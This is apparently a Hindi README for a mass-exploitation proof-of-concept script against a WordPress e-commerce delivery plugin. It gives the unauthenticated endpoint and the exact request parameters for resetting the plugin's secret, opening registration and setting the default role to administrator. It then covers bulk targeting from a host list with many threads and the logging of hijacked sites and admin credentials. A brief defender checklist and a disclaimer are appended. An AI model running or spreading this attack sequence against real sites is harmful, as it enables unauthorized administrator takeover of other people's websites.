
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - बिना प्रमाणीकरण के विशेषाधिकार वृद्धि
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - बिना प्रमाणीकरण के विशेषाधिकार वृद्धि
PoC / शोषण स्क्रिप्ट:
CVE-2026-2631.py
लेखक: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
संपर्क: टेलीग्राम:@Kxploit
< 2.6.60 (2.6.60 को छोड़कर)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HDatalogics Ecommerce Delivery – Datalogics प्लगइन एक बिना प्रमाणीकरण वाला एंडपॉइंट उजागर करता है:
/wp-json/gsf/v1/update-options
यह स्क्रिप्ट उस एंडपॉइंट का दुरुपयोग करके:
resetStoreConfigrations एक्शन का उपयोग करके आंतरिक shop_secret कुंजी रीसेट करती है।users_can_register = 1।administrator सेट करती है: default_role = administrator।wp-login.php?action=registerसफल होने पर, पंजीकरण फॉर्म के माध्यम से बनाया गया कोई भी नया उपयोगकर्ता एक व्यवस्थापक होगा।
users_can_register = 1default_role = administratorrich का उपयोग करके समृद्ध TUI आउटपुट (रंगीन और लाइव-अपडेट होने वाली तालिका)।Login_admin.txt में परिणाम लॉगिंग।आवश्यक पैकेज इंस्टॉल करें:
pip install -r requirements.txt
उदाहरण requirements.txt:
requests
rich
urllib3
या मैन्युअल रूप से इंस्टॉल करें:
pip install requests rich urllib3
प्रत्येक लक्ष्य के लिए:
URL सामान्यीकरण
http:// जोड़ता है।shop_secret रीसेट करें
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyWordPress विकल्प अपडेट करें
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, list.txt (या कस्टम फ़ाइल) से सभी लक्ष्य पढ़ता है।chunkify का उपयोग करके लक्ष्यों को N हिस्सों में विभाजित करता है।N वर्कर थ्रेड लॉन्च करता है, प्रत्येक लक्ष्यों की अपनी सूची संसाधित करता है।Queue का उपयोग करता है।printer_loop) लाइव rich तालिका अपडेट करता है:
python3 CVE-2026-2631.py
आपसे इंटरैक्टिव रूप से निम्न के लिए पूछा जाएगा:
लक्ष्य फ़ाइल
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogथ्रेड्स
Threads (1-50) [10]:1050shop_secret मान
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations को भेजी गई नई सीक्रेट कुंजी है।ये क्रेडेंशियल्स प्रत्येक कमजोर लक्ष्य पर पंजीकरण प्रयास के लिए उपयोग किए जाएंगे।
list.txt (या कोई भी फ़ाइल जो आप चाहें) बनाएं जिसमें प्रति पंक्ति एक लक्ष्य हो:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
स्क्रिप्ट यह करेगी:
http:// जोड़ेगी।/ हटाएगी।सभी सफल ऑपरेशन (भले ही उपयोगकर्ता पंजीकरण विफल हो जाए लेकिन विकल्प सेट हो जाएं) इसमें लिखे जाते हैं:
Login_admin.txt
एक विशिष्ट पंक्ति:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
लाइव तालिका में स्थिति के उदाहरण:
SUCCESS – विकल्प सेट और/या उपयोगकर्ता पंजीकृत।FAILED – रीसेट/विकल्प विफल, भेद्यता शोषण योग्य नहीं।ERROR – अपवाद, नेटवर्क त्रुटियाँ, टाइमआउट आदि।POST /wp-json/gsf/v1/update-options
shop_secret रीसेट करेंaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
स्क्रिप्ट:
_wpnonce निकालती है।normalize_site(raw: str) -> str
लक्ष्य URL को सामान्यीकृत करता है।
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
resetStoreConfigrations एक्शन का प्रयास करता है।
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
कमजोर एंडपॉइंट के माध्यम से WordPress विकल्प सेट करता है।
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
जाँचता है कि पंजीकरण खुला है और फॉर्म सुलभ है या नहीं।
try_register_user(...) -> (bool, str)
दिए गए उपयोगकर्ता को पंजीकृत करने का प्रयास करता है।
write_success_line(site: str, secret: str, detail: str)
सफलता विवरण को Login_admin.txt में लॉग करता है।
worker(...)
प्रति-थ्रेड वर्कर जो:
$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
रक्षकों / साइट मालिकों के लिए:
wp_users में हाल के पंजीकरण।/wp-json/gsf/v1/update-options/wp-login.php?action=registerयह स्क्रिप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है।
यदि आप इन शर्तों से सहमत नहीं हैं, तो इस स्क्रिप्ट का उपयोग न करें।
CVE-2026-2631@Kxploitसुरक्षित रहें, जिम्मेदारी से हैक करें। 🕶️💻
option_value = administratorwordpress option has been created or updated successfullyजाँचें कि पंजीकरण खुला है या नहीं
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedउपयोगकर्ता पंजीकरण का प्रयास करें
_wpnonce निकालता है।user_login, user_emailuser_pass/user_pass2_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsलॉगिंग
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
पंजीकरण क्रेडेंशियल्स
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:shop_secretprinter_loop(queue: Queue, total: int)
क्यू से संदेश पढ़ता है और rich लाइव टेबल UI अपडेट करता है।
main()
निम्न का संचालन करता है: